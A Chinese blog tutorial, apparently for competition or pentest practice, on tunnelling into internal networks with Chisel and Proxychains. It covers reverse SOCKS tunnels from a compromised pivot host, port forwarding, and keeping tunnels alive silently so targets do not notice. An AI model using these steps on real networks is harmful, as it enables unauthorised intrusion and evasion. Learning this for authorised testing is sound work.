s0m1ng

二进制学习中

内网横向1:隧道穿透与代理技术

前言:

这是我们内网横向的第一阶段,我们需要把我们的攻击机送到内网里

0x01 原理简述

宏观类比:隧道代理如同在两道防火墙之间铺设一条专属的“地下管道”。由于攻击机无法直接触及内网深处的资产,我们利用已控制的跳板机作为“中转站”;攻击机将所有指令打包送入管道,跳板机在内网代为执行并将结果原路传回。

*技术定义:利用代理工具(如 Chisel、FRP)将攻击机的流量封装并通过合法端口转发,突破网络隔离(NAT/防火墙),实现攻击工具(Nmap, Impacket)对内网目标协议(TCP/UDP)的直接访问。

0x02 横向阶段 1 与 2 核心工具获取

针对内网隧道穿透与后续的信息探测,必须在断网比赛前,于攻击机(Ubuntu)本地提前储备好以下四款核心工具的双端版本(Linux/Windows)。

流量劫持代理库:Proxychains

直接通过 Ubuntu 官方软件源安装,用于将本地任意命令行工具的流量强制转发至 SOCKS 隧道。

下载:

1
2
sudo apt update
sudo apt install proxychains4 -y

基础使用规范:

  • 配置代理出口:编辑 sudo nano /etc/proxychains4.conf(或 /etc/proxychains.conf),在文件最底部 [ProxyList] 下方保留唯一的隧道出口:socks5 127.0.0.1 1080

  • 执行命令:在任何不支持代理原生设置的命令行工具前追加 proxychains4 前缀。例如:proxychains4 curl http://<目标内网IP>

隧道核心:Chisel (双端二进制文件)

一款采用 Go 语言编写的高性能隧道工具,单文件执行且内置加密。必须同时下载 Linux 版(作为攻击机 Server)和 Windows 版(上传至靶机作为 Client)。

下载:

1
2
3
4
5
6
7
8
9
10
11
12
# 创建专属工具目录
mkdir -p ~/ISW_Workspace/Tools/Lateral/Chisel && cd ~/ISW_Workspace/Tools/Lateral/Chisel

# 获取 Linux 服务端 (攻击机运行)
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gzip -d chisel_1.9.1_linux_amd64.gz
mv chisel_1.9.1_linux_amd64 chisel && chmod +x chisel

# 获取 Windows 客户端 (若靶机是win运行这个,若靶机是linux也传上面那个)
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_windows_amd64.gz
gzip -d chisel_1.9.1_windows_amd64.gz
mv chisel_1.9.1_windows_amd64 chisel.exe

基础使用:

  • Server 端 (被连接方)./chisel server -p <监听端口> --reverse (开启服务端,--reverse 允许客户端建立反向隧道)。

  • Client 端 (主动连接方)chisel.exe client <服务端IP>:<端口> R:socks (R:socks 告知服务端在本地建立反向 SOCKS5 代理)。

0x03 隧道建立流程

在完成 0x02 的配置后,按照以下三步建立穿透内网的 SOCKS5 隧道:

这里使用反向代理,因为正向代理容易被防火墙杀掉

攻击机侧 (Ubuntu) 启动监听

在攻击机终端启动 Chisel 服务端,等待靶机接入:

1
./chisel server -p 8000 --reverse

跳板机发起内网穿透

将对应平台的 chisel 客户端上传至跳板机可写目录(如 C:\Windows\Temp\),执行反向连接命令:

1
C:\Windows\Temp\chisel.exe client <攻击机IP>:8000 R:socks

攻击机侧流量接管测试

确认 Chisel 服务端回显 client: Connected 后,代理即在本地 127.0.0.1:1080 生效。通过 Proxychains 发起内网探测测试:

这里的目标内网ip不是跳板机ip,是我们在跳板机里搜索到的同内网的其他主机ip,这里这条命令只是为了测试我们是否能访问跳板机所在内网

1
2
# 测试内网 IP 的联通性
proxychains4 curl -I http://<目标内网IP>

0x04 进阶技术:

局部端口转发

应用场景:无需进行全网段扫描,仅需将内网特定主机的单点服务(如 <目标内网IP>80 Web 服务或 3389 RDP 服务)单独映射至攻击机本地。

配置命令 (仅变更客户端执行参数):攻击机端保持 server -p 8000 --reverse 不变。跳板机端执行:

1
C:\Windows\Temp\chisel.exe client <攻击机IP>:8000 R:8080:<目标内网IP>:80
  • R:8080:<目标内网IP>:80:将攻击机本地的 8080 端口,绑定至内网主机 <目标内网IP>80 端口。攻击机浏览器直接访问 127.0.0.1:8080 即可触达内网业务。

0x05 异常处理

“Shell 卡死”和“掉线”问题

隧道前台阻塞: 当你在靶机的反弹 Shell里敲下 chisel.exe client ... 并回车后,正常情况下,这个程序会一直霸占着你的屏幕。这叫“前台运行”。这会带来两个致命问题:

  1. 没法干别的活了:你的 Shell 卡在这里,没法继续敲 whoami 或者跑其他提权命令了,除非你把它 Ctrl+C 停掉,但一停隧道就断了。

  2. 进程连坐死亡:如果你这个反弹 Shell 不小心掉线了,或者 WebShell 超时了,系统会把这个 Shell 里的所有前台进程全部杀掉,你的隧道瞬间灰飞烟灭。

解法:

  • Linux 的解法 (nohup ... &)

    • & 的意思是:把这个程序丢到后台去运行,把命令行的输入框还给我。

    • nohup (No Hang Up) 的意思是:告诉 Linux 系统,“就算我这个终端关闭了、断开了,也绝对不许杀掉这个进程”

  • Windows 的解法 (Start-Process -NoNewWindow ...)

    • 在 PowerShell 里,用 Start-Process 可以拉起一个全新的独立进程,它不再依赖你当前的 Shell。

    • -NoNewWindow 的意思是:静默运行,不要弹出一个新的黑框框。这在实战中极其重要,如果是打真实的办公电脑,突然弹个黑框框,目标用户立刻就会报警。

您的支持将鼓励我继续创作!

欢迎关注我的其它发布渠道